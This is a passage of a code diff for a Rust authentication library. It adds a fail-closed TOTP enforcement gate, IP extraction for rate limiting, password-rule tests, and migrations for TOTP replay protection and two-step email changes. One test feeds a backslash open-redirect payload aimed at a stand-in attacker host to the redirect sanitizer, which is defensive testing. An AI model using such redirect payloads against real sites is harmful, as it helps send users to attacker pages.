| 386 | + .await | |
| 387 | + .unwrap_or(false); | |
| 388 | + | |
| 389 | + if totp_force_enabled { | |
| 390 | + let totp_result = crate::services::totp_service::TotpService::is_totp_enabled( | |
| 330 | 391 | &db, user_id, |
| 331 | 392 | ) |
| 332 | - .await | |
| 333 | - .unwrap_or(false); | |
| 334 | - | |
| 335 | - if !totp_enabled { | |
| 336 | - tracing::info!( | |
| 337 | - "User {} must setup 2FA, redirecting from {}", | |
| 338 | - user_id, | |
| 339 | - path | |
| 340 | - ); | |
| 341 | - return Ok(axum::response::Redirect::to( | |
| 342 | - "/settings/security?force_2fa=true", | |
| 343 | - ) | |
| 344 | - .into_response()); | |
| 393 | + .await; | |
| 394 | + if let Err(ref e) = totp_result { | |
| 395 | + tracing::error!( | |
| 396 | + %user_id, | |
| 397 | + error = %e, | |
| 398 | + "TOTP status lookup failed (fail-closed)" | |
| 399 | + ); | |
| 400 | + } | |
| 401 | + match totp_force_gate(totp_result) { | |
| 402 | + TotpGate::Allow => {} | |
| 403 | + TotpGate::RedirectSetup => { | |
| 404 | + tracing::info!( | |
| 405 | + "User {} must setup 2FA, redirecting from {}", | |
| 406 | + user_id, | |
| 407 | + path | |
| 408 | + ); | |
| 409 | + return Ok(Redirect::to( | |
| 410 | + "/settings/security?force_2fa=true", | |
| 411 | + ) | |
| 412 | + .into_response()); | |
| 413 | + } | |
| 414 | + TotpGate::Unavailable => { | |
| 415 | + return Ok(( | |
| 416 | + StatusCode::SERVICE_UNAVAILABLE, | |
| 417 | + "Internal server error", | |
| 418 | + ) | |
| 419 | + .into_response()); | |
| 420 | + } | |
| 421 | + } | |
| 345 | 422 | } |
| 346 | 423 | } |
| 347 | 424 | } |
@@ -427,7 +504,10 @@ where
| 427 | 504 | |
| 428 | 505 | #[cfg(test)] |
| 429 | 506 | mod tests { |
| 430 | - use super::{auth_failure_response, sanitize_redirect}; | |
| 507 | + use super::{ | |
| 508 | + TotpGate, UserLookup, auth_failure_response, map_user_lookup, sanitize_redirect, | |
| 509 | + totp_force_gate, | |
| 510 | + }; | |
| 431 | 511 | use crate::config::auth::{AuthConfig, AuthFailureMode, SessionBackend}; |
| 432 | 512 | use axum::http::{StatusCode, Uri, header::LOCATION}; |
| 433 | 513 |
@@ -476,9 +556,18 @@ mod tests {
| 476 | 556 | } |
| 477 | 557 | |
| 478 | 558 | #[test] |
| 559 | + fn sanitize_redirect_rejects_backslash_trick() { | |
| 560 | + let out = sanitize_redirect("/\\evil.example", "/login"); | |
| 561 | + assert_eq!(out, "/login"); | |
| 562 | + } | |
| 563 | + | |
| 564 | + #[test] | |
| 479 | 565 | fn auth_failure_redirect_mode_points_to_configured_login_path() { |
| 480 | 566 | let uri: Uri = "/settings".parse().unwrap(); |
| 481 | - let resp = auth_failure_response(&test_config(AuthFailureMode::Redirect, "/auth/signin"), &uri); | |
| 567 | + let resp = auth_failure_response( | |
| 568 | + &test_config(AuthFailureMode::Redirect, "/auth/signin"), | |
| 569 | + &uri, | |
| 570 | + ); | |
| 482 | 571 | assert_eq!(resp.status(), StatusCode::SEE_OTHER); |
| 483 | 572 | let location = resp |
| 484 | 573 | .headers() |
@@ -498,4 +587,40 @@ mod tests {
| 498 | 587 | assert_eq!(resp.status(), StatusCode::UNAUTHORIZED); |
| 499 | 588 | assert!(resp.headers().get(LOCATION).is_none()); |
| 500 | 589 | } |
| 590 | + | |
| 591 | + #[test] | |
| 592 | + fn map_user_lookup_found_when_row_present() { | |
| 593 | + let result: Result<Option<()>, &str> = Ok(Some(())); | |
| 594 | + assert_eq!(map_user_lookup(result), UserLookup::Found); | |
| 595 | + } | |
| 596 | + | |
| 597 | + #[test] | |
| 598 | + fn map_user_lookup_missing_when_no_row() { | |
| 599 | + let result: Result<Option<()>, &str> = Ok(None); | |
| 600 | + assert_eq!(map_user_lookup(result), UserLookup::Missing); | |
| 601 | + } | |
| 602 | + | |
| 603 | + #[test] | |
| 604 | + fn map_user_lookup_unavailable_on_error() { | |
| 605 | + let result: Result<Option<()>, &str> = Err("db down"); | |
| 606 | + assert_eq!(map_user_lookup(result), UserLookup::Unavailable); | |
| 607 | + } | |
| 608 | + | |
| 609 | + #[test] | |
| 610 | + fn totp_force_gate_allows_when_enabled() { | |
| 611 | + let result: Result<bool, &str> = Ok(true); | |
| 612 | + assert_eq!(totp_force_gate(result), TotpGate::Allow); | |
| 613 | + } | |
| 614 | + | |
| 615 | + #[test] | |
| 616 | + fn totp_force_gate_redirects_when_not_enrolled() { | |
| 617 | + let result: Result<bool, &str> = Ok(false); | |
| 618 | + assert_eq!(totp_force_gate(result), TotpGate::RedirectSetup); | |
| 619 | + } | |
| 620 | + | |
| 621 | + #[test] | |
| 622 | + fn totp_force_gate_unavailable_on_error() { | |
| 623 | + let result: Result<bool, &str> = Err("db down"); | |
| 624 | + assert_eq!(totp_force_gate(result), TotpGate::Unavailable); | |
| 625 | + } | |
| 501 | 626 | } |
M
crates/rustwarden-core/src/middleware/password_complexity.rs
+21
-0
@@ -169,6 +169,27 @@ mod tests {
| 169 | 169 | assert!(rules.validate("password123").is_err()); |
| 170 | 170 | assert!(rules.validate("PASSWORD123").is_err()); |
| 171 | 171 | assert!(rules.validate("Password").is_err()); |
| 172 | + assert!(rules.validate("a").is_err()); | |
| 173 | + assert!(rules.validate("password").is_err()); | |
| 174 | + } | |
| 175 | + | |
| 176 | + #[test] | |
| 177 | + fn default_rules_reject_single_letter_and_password_literal() { | |
| 178 | + let rules = PasswordRules::default(); | |
| 179 | + assert!(rules.validate("a").is_err()); | |
| 180 | + assert!(rules.validate("password").is_err()); | |
| 181 | + } | |
| 182 | + | |
| 183 | + #[test] | |
| 184 | + fn default_rules_reject_password_literal() { | |
| 185 | + let rules = PasswordRules::default(); | |
| 186 | + assert!(rules.validate("password").is_err()); | |
| 187 | + } | |
| 188 | + | |
| 189 | + #[test] | |
| 190 | + fn default_rules_accept_mixed() { | |
| 191 | + let rules = PasswordRules::default(); | |
| 192 | + assert!(rules.validate("CorrectHorse1").is_ok()); | |
| 172 | 193 | } |
| 173 | 194 | |
| 174 | 195 | #[test] |
M
crates/rustwarden-core/src/middleware/rate_limit.rs
+91
-7
@@ -118,11 +118,11 @@ fn trusted_proxy_hops() -> usize {
| 118 | 118 | }) |
| 119 | 119 | } |
| 120 | 120 | |
| 121 | -/// SEC-H3: Extract the real client IP, respecting TRUSTED_PROXY_HOPS. | |
| 122 | -/// When TRUSTED_PROXY_HOPS > 0, takes the Nth IP from the right of X-Forwarded-For. | |
| 123 | -/// Otherwise falls back to the direct connection IP. | |
| 124 | -fn extract_ip_from_xff_or_connect(xff: Option<&str>, connect_ip: Option<String>) -> String { | |
| 125 | - let hops = trusted_proxy_hops(); | |
| 121 | +/// Pick the client IP from `X-Forwarded-For` and/or the direct connection. | |
| 122 | +/// | |
| 123 | +/// `hops` is the number of trusted reverse-proxy hops (0 = ignore XFF). | |
| 124 | +/// When `hops > 0`, takes the Nth IP from the **right** of the XFF list. | |
| 125 | +fn extract_ip(xff: Option<&str>, connect: Option<String>, hops: usize) -> String { | |
| 126 | 126 | if hops > 0 { |
| 127 | 127 | if let Some(xff_value) = xff { |
| 128 | 128 | let ips: Vec<&str> = xff_value.split(',').map(|s| s.trim()).collect(); |
@@ -131,7 +131,14 @@ fn extract_ip_from_xff_or_connect(xff: Option<&str>, connect_ip: Option<String>)
| 131 | 131 | } |
| 132 | 132 | } |
| 133 | 133 | } |
| 134 | - connect_ip.unwrap_or_else(|| "unknown".to_string()) | |
| 134 | + connect.unwrap_or_else(|| "unknown".to_string()) | |
| 135 | +} | |
| 136 | + | |
| 137 | +/// SEC-H3: Extract the real client IP, respecting TRUSTED_PROXY_HOPS. | |
| 138 | +/// When TRUSTED_PROXY_HOPS > 0, takes the Nth IP from the right of X-Forwarded-For. | |
| 139 | +/// Otherwise falls back to the direct connection IP. | |
| 140 | +fn extract_ip_from_xff_or_connect(xff: Option<&str>, connect_ip: Option<String>) -> String { | |
| 141 | + extract_ip(xff, connect_ip, trusted_proxy_hops()) | |
| 135 | 142 | } |
| 136 | 143 | |
| 137 | 144 | /// Extract IP address from Request (uses ConnectInfo when available) |
@@ -143,7 +150,14 @@ pub fn extract_client_ip(request: &Request) -> String {
| 143 | 150 | let connect_ip = request |
| 144 | 151 | .extensions() |
| 145 | 152 | .get::<axum::extract::ConnectInfo<std::net::SocketAddr>>() |
| 146 | - .map(|ci| ci.0.ip().to_string()); | |
| 153 | + .map(|ci| ci.0.ip().to_string()) | |
| 154 | + .or_else(|| { | |
| 155 | + // `MockConnectInfo` stores itself, not `ConnectInfo` (axum 0.8). | |
| 156 | + request | |
| 157 | + .extensions() | |
| 158 | + .get::<axum::extract::connect_info::MockConnectInfo<std::net::SocketAddr>>() | |
| 159 | + .map(|mock| mock.0.ip().to_string()) | |
| 160 | + }); | |
| 147 | 161 | extract_ip_from_xff_or_connect(xff, connect_ip) |
| 148 | 162 | } |
| 149 | 163 |
@@ -201,6 +215,19 @@ pub fn check_auth_rate_limit(headers: &axum::http::HeaderMap) -> Result<(), Resp
| 201 | 215 | } |
| 202 | 216 | } |
| 203 | 217 | |
| 218 | +/// Per-IP rate-limit layer for authentication endpoints. | |
| 219 | +/// | |
| 220 | +/// Uses [`extract_client_ip`] so the key comes from `ConnectInfo` when | |
| 221 | +/// `TRUSTED_PROXY_HOPS` is 0 (the default), rather than collapsing every | |
| 222 | +/// request into a global `auth:unknown` bucket. | |
| 223 | +pub(crate) async fn auth_ip_rate_limit(request: Request, next: Next) -> Response { | |
| 224 | + let ip = extract_client_ip(&request); | |
| 225 | + match auth_limiter().check(&format!("auth:{ip}"), auth_max_per_minute()) { | |
| 226 | + Ok(()) => next.run(request).await, | |
| 227 | + Err(err) => err.into_response(), | |
| 228 | + } | |
| 229 | +} | |
| 230 | + | |
| 204 | 231 | #[cfg(test)] |
| 205 | 232 | mod tests { |
| 206 | 233 | use super::*; |
@@ -234,4 +261,61 @@ mod tests {
| 234 | 261 | rl.check("share:9.9.9.9", 3) |
| 235 | 262 | .expect("distinct IP must not share the other IP's budget"); |
| 236 | 263 | } |
| 264 | + | |
| 265 | + #[test] | |
| 266 | + fn extract_client_ip_uses_connect_info_without_xff() { | |
| 267 | + let mut request = Request::builder() | |
| 268 | + .uri("/") | |
| 269 | + .body(axum::body::Body::empty()) | |
| 270 | + .expect("request"); | |
| 271 | + request | |
| 272 | + .extensions_mut() | |
| 273 | + .insert(axum::extract::ConnectInfo(std::net::SocketAddr::from(( | |
| 274 | + [203, 0, 113, 1], | |
| 275 | + 12345, | |
| 276 | + )))); | |
| 277 | + assert_eq!(extract_client_ip(&request), "203.0.113.1"); | |
| 278 | + } | |
| 279 | + | |
| 280 | + #[test] | |
| 281 | + fn extract_client_ip_uses_mock_connect_info_without_xff() { | |
| 282 | + let mut request = Request::builder() | |
| 283 | + .uri("/") | |
| 284 | + .body(axum::body::Body::empty()) | |
| 285 | + .expect("request"); | |
| 286 | + request | |
| 287 | + .extensions_mut() | |
| 288 | + .insert(axum::extract::connect_info::MockConnectInfo( | |
| 289 | + std::net::SocketAddr::from(([203, 0, 113, 1], 12345)), | |
| 290 | + )); | |
| 291 | + assert_eq!(extract_client_ip(&request), "203.0.113.1"); | |
| 292 | + } | |
| 293 | + | |
| 294 | + #[test] | |
| 295 | + fn hops_zero_uses_connect_not_xff() { | |
| 296 | + assert_eq!( | |
| 297 | + extract_ip(Some("1.2.3.4"), Some("10.0.0.9".into()), 0), | |
| 298 | + "10.0.0.9" | |
| 299 | + ); | |
| 300 | + } | |
| 301 | + | |
| 302 | + #[test] | |
| 303 | + fn hops_one_takes_rightmost_xff() { | |
| 304 | + assert_eq!( | |
| 305 | + extract_ip(Some("1.2.3.4, 5.6.7.8"), Some("10.0.0.9".into()), 1), | |
| 306 | + "5.6.7.8" | |
| 307 | + ); | |
| 308 | + } | |
| 309 | + | |
| 310 | + #[test] | |
| 311 | + fn hops_two_takes_second_from_right() { | |
| 312 | + assert_eq!( | |
| 313 | + extract_ip( | |
| 314 | + Some("1.2.3.4, 5.6.7.8, 9.9.9.9"), | |
| 315 | + Some("10.0.0.9".into()), | |
| 316 | + 2 | |
| 317 | + ), | |
| 318 | + "5.6.7.8" | |
| 319 | + ); | |
| 320 | + } | |
| 237 | 321 | } |
A
crates/rustwarden-core/src/migrations/m20260918_000010_totp_last_used_step.rs
+48
-0
@@ -0,0 +1,48 @@
| 1 | +//! Migration `m20260918_000010_totp_last_used_step`. | |
| 2 | +//! | |
| 3 | +//! RFC 0037: adds the nullable `user_totp.last_used_step` column used to | |
| 4 | +//! persist the TOTP anti-replay guard across replicas. The column stores | |
| 5 | +//! the last TOTP time-step (`unix_epoch / 30`) successfully consumed for | |
| 6 | +//! the user; a conditional `UPDATE` (compare-and-set) in `TotpService` | |
| 7 | +//! rejects any step that is not strictly greater. | |
| 8 | +//! | |
| 9 | +//! `NULL` means no code has been consumed since this column exists, so | |
| 10 | +//! the first code presented after the migration is always accepted | |
| 11 | +//! (grandfathering of existing rows). | |
| 12 | + | |
| 13 | +use sea_orm_migration::prelude::*; | |
| 14 | + | |
| 15 | +/// Adds the nullable `last_used_step BIGINT` column to `user_totp` (RFC 0037). | |
| 16 | +#[derive(DeriveMigrationName)] | |
| 17 | +pub struct Migration; | |
| 18 | + | |
| 19 | +#[async_trait::async_trait] | |
| 20 | +impl MigrationTrait for Migration { | |
| 21 | + async fn up(&self, manager: &SchemaManager) -> Result<(), DbErr> { | |
| 22 | + manager | |
| 23 | + .alter_table( | |
| 24 | + Table::alter() | |
| 25 | + .table(UserTotp::Table) | |
| 26 | + .add_column(ColumnDef::new(UserTotp::LastUsedStep).big_integer().null()) | |
| 27 | + .to_owned(), | |
| 28 | + ) | |
| 29 | + .await | |
| 30 | + } | |
| 31 | + | |
| 32 | + async fn down(&self, manager: &SchemaManager) -> Result<(), DbErr> { | |
| 33 | + manager | |
| 34 | + .alter_table( | |
| 35 | + Table::alter() | |
| 36 | + .table(UserTotp::Table) | |
| 37 | + .drop_column(UserTotp::LastUsedStep) | |
| 38 | + .to_owned(), | |
| 39 | + ) | |
| 40 | + .await | |
| 41 | + } | |
| 42 | +} | |
| 43 | + | |
| 44 | +#[derive(DeriveIden)] | |
| 45 | +enum UserTotp { | |
| 46 | + Table, | |
| 47 | + LastUsedStep, | |
| 48 | +} |
A
crates/rustwarden-core/src/migrations/m20260919_000011_pending_email_changes.rs
+238
-0
@@ -0,0 +1,238 @@
| 1 | +use sea_orm_migration::prelude::*; | |
| 2 | + | |
| 3 | +/// Migration: creates the `pending_email_changes` table (RFC 0041). | |
| 4 | +#[derive(DeriveMigrationName)] | |
| 5 | +pub struct Migration; | |
| 6 | + | |
| 7 | +#[async_trait::async_trait] | |
| 8 | +impl MigrationTrait for Migration { | |
| 9 | + async fn up(&self, manager: &SchemaManager) -> Result<(), DbErr> { | |
| 10 | + // Table: pending_email_changes (two-step email change, RFC 0041) | |
| 11 | + // | |
| 12 | + // A row holds an email-change request that has NOT been applied yet: | |
| 13 | + // `users.email` keeps its current — verified — value until the | |
| 14 | + // confirmation token mailed to `new_email` is submitted. Two distinct | |
| 15 | + // SHA-256 hashes are stored: `token_hash` (confirmation, mailed to the | |
| 16 | + // candidate address) and `report_token_hash` (abuse report, mailed to | |
| 17 | + // the account's current address). Two secrets, two capabilities. | |
| 18 | + manager | |
| 19 | + .create_table( | |
| 20 | + Table::create() | |
| 21 | + .table(PendingEmailChanges::Table) | |
| 22 | + .if_not_exists() | |
| 23 | + .col( | |
| 24 | + ColumnDef::new(PendingEmailChanges::Id) | |
| 25 | + .uuid() | |
| 26 | + .not_null() | |
| 27 | + .primary_key(), | |
| 28 | + ) | |
| 29 | + .col( | |
| 30 | + ColumnDef::new(PendingEmailChanges::UserId) | |
| 31 | + .uuid() | |
| 32 | + .not_null(), | |
| 33 | + ) | |
| 34 | + .col( | |
| 35 | + ColumnDef::new(PendingEmailChanges::NewEmail) | |
| 36 | + .string() | |
| 37 | + .string_len(255) // same length as users.email | |
| 38 | + .not_null(), | |
| 39 | + ) | |
| 40 | + .col( | |
| 41 | + ColumnDef::new(PendingEmailChanges::TokenHash) | |
| 42 | + .string() | |
| 43 | + .string_len(64) // SHA-256 hex | |
| 44 | + .not_null() | |
| 45 | + .unique_key(), | |
| 46 | + ) | |
| 47 | + .col( | |
| 48 | + ColumnDef::new(PendingEmailChanges::ReportTokenHash) | |
| 49 | + .string() | |
| 50 | + .string_len(64) // SHA-256 hex, distinct from token_hash | |
| 51 | + .not_null() | |
| 52 | + .unique_key(), | |
| 53 | + ) | |
| 54 | + .col( | |
| 55 | + ColumnDef::new(PendingEmailChanges::ExpiresAt) | |
| 56 | + .timestamp_with_time_zone() | |
| 57 | + .not_null(), | |
| 58 | + ) | |
| 59 | + .col( | |
| 60 | + ColumnDef::new(PendingEmailChanges::UsedAt) | |
| 61 | + .timestamp_with_time_zone() | |
| 62 | + .null(), | |
| 63 | + ) | |
| 64 | + .col( | |
| 65 | + ColumnDef::new(PendingEmailChanges::ReportedAt) | |
| 66 | + .timestamp_with_time_zone() | |
| 67 | + .null(), | |
| 68 | + ) | |
| 69 | + .col( | |
| 70 | + ColumnDef::new(PendingEmailChanges::CreatedAt) | |
| 71 | + .timestamp_with_time_zone() | |
| 72 | + .not_null() | |
| 73 | + .default(Expr::current_timestamp()), | |
| 74 | + ) | |
| 75 | + .foreign_key( | |
| 76 | + ForeignKey::create() | |
| 77 | + .name("fk_pending_email_changes_user_id") | |
| 78 | + .from(PendingEmailChanges::Table, PendingEmailChanges::UserId) | |
| 79 | + .to(Users::Table, Users::Id) | |
| 80 | + .on_delete(ForeignKeyAction::Cascade), | |
| 81 | + ) | |
| 82 | + .to_owned(), | |
| 83 | + ) | |
| 84 | + .await?; | |
| 85 | + | |
| 86 | + // Supports `invalidate_previous_requests` and the opportunistic purge, | |
| 87 | + // both of which filter on user_id. | |
| 88 | + manager | |
| 89 | + .create_index( | |
| 90 | + Index::create() | |
| 91 | + .name("idx_pending_email_changes_user_id") | |
| 92 | + .table(PendingEmailChanges::Table) | |
| 93 | + .col(PendingEmailChanges::UserId) | |
| 94 | + .to_owned(), | |
| 95 | + ) | |
| 96 | + .await?; | |
| 97 | + | |
| 98 | + // Confirmation lookup (`confirm_change`). The column is already unique | |
| 99 | + // but an explicit btree index documents intent and keeps EXPLAIN stable. | |
| 100 | + manager | |
| 101 | + .create_index( | |
| 102 | + Index::create() | |
| 103 | + .name("idx_pending_email_changes_token_hash") | |
| 104 | + .table(PendingEmailChanges::Table) | |
| 105 | + .col(PendingEmailChanges::TokenHash) | |
| 106 | + .to_owned(), | |
| 107 | + ) | |
| 108 | + .await?; | |
| 109 | + | |
| 110 | + // Report lookup (`report_suspicious`). | |
| 111 | + manager | |
| 112 | + .create_index( | |
| 113 | + Index::create() | |
| 114 | + .name("idx_pending_email_changes_report_token_hash") | |
| 115 | + .table(PendingEmailChanges::Table) | |
| 116 | + .col(PendingEmailChanges::ReportTokenHash) | |
| 117 | + .to_owned(), | |
| 118 | + ) | |
| 119 | + .await?; | |
| 120 | + | |
| 121 | + // Supports the retention purge `WHERE expires_at < now() - 30 days`. | |
| 122 | + manager | |
| 123 | + .create_index( | |
| 124 | + Index::create() | |
| 125 | + .name("idx_pending_email_changes_expires_at") | |
| 126 | + .table(PendingEmailChanges::Table) | |
| 127 | + .col(PendingEmailChanges::ExpiresAt) | |
| 128 | + .to_owned(), | |
| 129 | + ) | |
| 130 | + .await?; | |
| 131 | + | |
| 132 | + // `email_queue.email_type` is guarded by a CHECK constraint listing the | |
| 133 | + // accepted values (see `m20260305_000001_initial_schema`). The four | |
| 134 | + // types RFC 0041 enqueues are not in that list, so the whole flow would | |
| 135 | + // fail at the first INSERT. The constraint is widened here rather than | |
| 136 | + // dropped: an unknown `email_type` still has to be rejected. | |
| 137 | + // | |
| 138 | + // Raw SQL because `sea-query` cannot express a CHECK constraint in an | |
| 139 | + // `ALTER TABLE`; same approach as the initial schema. | |
| 140 | + manager | |
| 141 | + .get_connection() | |
| 142 | + .execute_unprepared(EMAIL_TYPE_CHECK_WITH_EMAIL_CHANGE) | |
| 143 | + .await?; | |
| 144 | + | |
| 145 | + Ok(()) | |
| 146 | + } | |
| 147 | + | |
| 148 | + async fn down(&self, manager: &SchemaManager) -> Result<(), DbErr> { | |
| 149 | + manager | |
| 150 | + .drop_table(Table::drop().table(PendingEmailChanges::Table).to_owned()) | |
| 151 | + .await?; | |
| 152 | + | |
| 153 | + // Narrow the constraint back, but only when no row still carries an | |
| 154 | + // RFC 0041 type: a rollback must not destroy sent-mail history, and a | |
| 155 | + // constraint left slightly wider than needed harms nothing once the | |
| 156 | + // code that writes those types is gone. | |
| 157 | + manager | |
| 158 | + .get_connection() | |
| 159 | + .execute_unprepared(EMAIL_TYPE_CHECK_ROLLBACK) | |
| 160 | + .await?; | |
| 161 | + | |
| 162 | + Ok(()) | |
| 163 | + } | |
| 164 | +} | |
| 165 | + | |
| 166 | +/// Widened `email_queue.email_type` CHECK constraint: the seven values of the | |
| 167 | +/// initial schema plus the four RFC 0041 types. | |
| 168 | +const EMAIL_TYPE_CHECK_WITH_EMAIL_CHANGE: &str = r#" | |
| 169 | + ALTER TABLE email_queue | |
| 170 | + DROP CONSTRAINT IF EXISTS chk_email_queue_email_type; | |
| 171 | + ALTER TABLE email_queue | |
| 172 | + ADD CONSTRAINT chk_email_queue_email_type | |
| 173 | + CHECK (email_type IN ( | |
| 174 | + 'password_reset', | |
| 175 | + 'email_validation', | |
| 176 | + 'password_changed', | |
| 177 | + 'account_modified', | |
| 178 | + 'welcome', | |
| 179 | + 'admin_new_user', | |
| 180 | + 'notification', | |
| 181 | + 'email_change_validation', | |
| 182 | + 'email_change_notice', | |
| 183 | + 'email_change_reported', | |
| 184 | + 'email_change_by_admin' | |
| 185 | + )); | |
| 186 | +"#; | |
| 187 | + | |
| 188 | +/// Conditional rollback: restores the original list only when no queued or | |
| 189 | +/// sent mail still uses an RFC 0041 type. | |
| 190 | +const EMAIL_TYPE_CHECK_ROLLBACK: &str = r#" | |
| 191 | + DO $$ | |
| 192 | + BEGIN | |
| 193 | + IF NOT EXISTS ( | |
| 194 | + SELECT 1 FROM email_queue | |
| 195 | + WHERE email_type IN ( | |
| 196 | + 'email_change_validation', | |
| 197 | + 'email_change_notice', | |
| 198 | + 'email_change_reported', | |
| 199 | + 'email_change_by_admin' | |
| 200 | + ) | |
| 201 | + ) THEN | |
| 202 | + ALTER TABLE email_queue | |
| 203 | + DROP CONSTRAINT IF EXISTS chk_email_queue_email_type; | |
| 204 | + ALTER TABLE email_queue | |
| 205 | + ADD CONSTRAINT chk_email_queue_email_type | |
| 206 | + CHECK (email_type IN ( | |
| 207 | + 'password_reset', | |
| 208 | + 'email_validation', | |
| 209 | + 'password_changed', | |
| 210 | + 'account_modified', | |
| 211 | + 'welcome', | |
| 212 | + 'admin_new_user', | |
| 213 | + 'notification' | |
| 214 | + )); | |
| 215 | + END IF; | |
| 216 | + END | |
| 217 | + $$; | |
| 218 | +"#; | |
| 219 | + | |
| 220 | +#[derive(Iden)] | |
| 221 | +enum PendingEmailChanges { | |
| 222 | + Table, | |
| 223 | + Id, | |
| 224 | + UserId, | |
| 225 | + NewEmail, | |
| 226 | + TokenHash, | |
| 227 | + ReportTokenHash, | |
| 228 | + ExpiresAt, | |
| 229 | + UsedAt, | |
| 230 | + ReportedAt, | |
| 231 | + CreatedAt, | |
| 232 | +} | |
| 233 | + | |
| 234 | +#[derive(Iden)] | |
| 235 | +enum Users { | |
| 236 | + Table, | |
| 237 | + Id, | |
| 238 | +} |
M
crates/rustwarden-core/src/migrations/mod.rs
+6
-0
@@ -49,6 +49,10 @@ pub mod m20260422_000007_create_personal_access_tokens;
| 49 | 49 | pub mod m20260423_000008_create_teams; |
| 50 | 50 | /// Migration 9: fediverse interop columns and `remote_identities` table. |
| 51 | 51 | pub mod m20260510_000009_fediverse_interop; |
| 52 | +/// Migration 10: nullable `user_totp.last_used_step` anti-replay column (RFC 0037). | |
| 53 | +pub mod m20260918_000010_totp_last_used_step; | |
| 54 | +/// Migration 11: `pending_email_changes` table for two-step email change (RFC 0041). | |
| 55 | +pub mod m20260919_000011_pending_email_changes; | |
| 52 | 56 | |
| 53 | 57 | use sea_orm_migration::prelude::*; |
| 54 | 58 |
@@ -64,6 +68,8 @@ pub fn core_migrations() -> Vec<Box<dyn MigrationTrait>> {
| 64 | 68 | Box::new(m20260422_000007_create_personal_access_tokens::Migration), |
| 65 | 69 | Box::new(m20260423_000008_create_teams::Migration), |
| 66 | 70 | Box::new(m20260510_000009_fediverse_interop::Migration), |
| 71 | + Box::new(m20260918_000010_totp_last_used_step::Migration), | |
| 72 | + Box::new(m20260919_000011_pending_email_changes::Migration), | |
| 67 | 73 | ] |
| 68 | 74 | } |
| 69 | 75 |
M
crates/rustwarden-core/src/models/mod.rs
+3
-0
@@ -21,6 +21,8 @@ pub mod oauth_account;
| 21 | 21 | pub mod password_change_request; |
| 22 | 22 | /// Password reset token entity. |
| 23 | 23 | pub mod password_reset_token; |
| 24 | +/// Pending email-change request entity (two-step email change, RFC 0041). | |
| 25 | +pub mod pending_email_change; | |
| 24 | 26 | /// Permission entity for RBAC. |
| 25 | 27 | pub mod permission; |
| 26 | 28 | /// Personal access token entity (long-lived API credentials). |
@@ -63,6 +65,7 @@ pub use jwt_blacklist::Entity as JwtBlacklist;
| 63 | 65 | pub use oauth_account::Entity as OauthAccount; |
| 64 | 66 | pub use password_change_request::Entity as PasswordChangeRequest; |
| 65 | 67 | pub use password_reset_token::Entity as PasswordResetToken; |
| 68 | +pub use pending_email_change::Entity as PendingEmailChange; | |
| 66 | 69 | pub use permission::Entity as Permission; |
| 67 | 70 | pub use personal_access_token::Entity as PersonalAccessToken; |
| 68 | 71 | pub use refresh_token::Entity as RefreshToken; |
A
crates/rustwarden-core/src/models/pending_email_change.rs
+171
-0
@@ -0,0 +1,171 @@
| 1 | +use chrono::{DateTime, Utc}; | |
| 2 | +use sea_orm::entity::prelude::*; | |
| 3 | +use serde::{Deserialize, Serialize}; | |
| 4 | +use uuid::Uuid; | |
| 5 | + | |
| 6 | +/// PendingEmailChange entity model. | |
| 7 | +/// | |
| 8 | +/// Holds an email-change request that has **not** been applied yet. Until the | |
| 9 | +/// confirmation is submitted, `users.email` keeps its current — verified — | |
| 10 | +/// value: the account is never left pointing at an unproven address. | |
| 11 | +/// | |
| 12 | +/// # Security features | |
| 13 | +/// | |
| 14 | +/// - Two independent SHA-256 hashes: `token_hash` (confirmation, mailed to the | |
| 15 | +/// new address) and `report_token_hash` (abuse report, mailed to the current | |
| 16 | +/// address). Plain tokens are never stored. | |
| 17 | +/// - Expiration: reuses `EMAIL_VALIDATION_EXPIRATION_HOURS` (24 h by default). | |
| 18 | +/// - Single use: `used_at` is set when the change is applied. | |
| 19 | +/// - Cascade delete: rows are removed when the user is deleted. | |
| 20 | +/// | |
| 21 | +/// # Request lifecycle | |
| 22 | +/// | |
| 23 | +/// 1. **Creation**: two UUID v4 tokens are generated, hashed and stored with an | |
| 24 | +/// expiration; the plain tokens are only ever sent by email. | |
| 25 | +/// 2. **Confirmation**: the owner of `new_email` submits the confirmation form, | |
| 26 | +/// `users.email` is written and `used_at` is set. | |
| 27 | +/// 3. **Report**: the owner of the *current* address may flag the request — | |
| 28 | +/// `reported_at` is set, but the change is never blocked. | |
| 29 | +/// 4. **Cleanup**: rows expired for longer than the retention window are | |
| 30 | +/// hard-deleted (the durable audit trail lives in `audit_logs`). | |
| 31 | +#[derive(Clone, Debug, Serialize, Deserialize, DeriveEntityModel)] | |
| 32 | +#[sea_orm(table_name = "pending_email_changes")] | |
| 33 | +pub struct Model { | |
| 34 | + /// Unique identifier for the request. | |
| 35 | + #[sea_orm(primary_key, auto_increment = false)] | |
| 36 | + pub id: Uuid, | |
| 37 | + | |
| 38 | + /// User this request belongs to. | |
| 39 | + #[sea_orm(indexed)] | |
| 40 | + pub user_id: Uuid, | |
| 41 | + | |
| 42 | + /// Candidate address. Written to `users.email` only on confirmation. | |
| 43 | + pub new_email: String, | |
| 44 | + | |
| 45 | + /// SHA-256 hash of the confirmation token (sent to `new_email`). | |
| 46 | + #[sea_orm(unique, indexed)] | |
| 47 | + pub token_hash: String, | |
| 48 | + | |
| 49 | + /// SHA-256 hash of the report token (sent to the current address). | |
| 50 | + #[sea_orm(unique, indexed)] | |
| 51 | + pub report_token_hash: String, | |
| 52 | + | |
| 53 | + /// Expiration timestamp. | |
| 54 | + #[sea_orm(indexed)] | |
| 55 | + pub expires_at: DateTime<Utc>, | |
| 56 | + | |
| 57 | + /// Set when the change has been applied. `None` while pending. | |
| 58 | + pub used_at: Option<DateTime<Utc>>, | |
| 59 | + | |
| 60 | + /// Set when the current address owner flagged the request as suspicious. | |
| 61 | + /// Informational only — it never blocks the change. | |
| 62 | + pub reported_at: Option<DateTime<Utc>>, | |
| 63 | + | |
| 64 | + /// Creation timestamp. | |
| 65 | + pub created_at: DateTime<Utc>, | |
| 66 | +} | |
| 67 | + | |
| 68 | +/// SeaORM relations for the PendingEmailChange entity. | |
| 69 | +#[derive(Copy, Clone, Debug, EnumIter, DeriveRelation)] | |
| 70 | +pub enum Relation { | |
| 71 | + /// Relationship to User entity. | |
| 72 | + #[sea_orm( | |
| 73 | + belongs_to = "super::user::Entity", | |
| 74 | + from = "Column::UserId", | |
| 75 | + to = "super::user::Column::Id", | |
| 76 | + on_delete = "Cascade" | |
| 77 | + )] | |
| 78 | + User, | |
| 79 | +} | |
| 80 | + | |
| 81 | +impl Related<super::user::Entity> for Entity { | |
| 82 | + fn to() -> RelationDef { | |
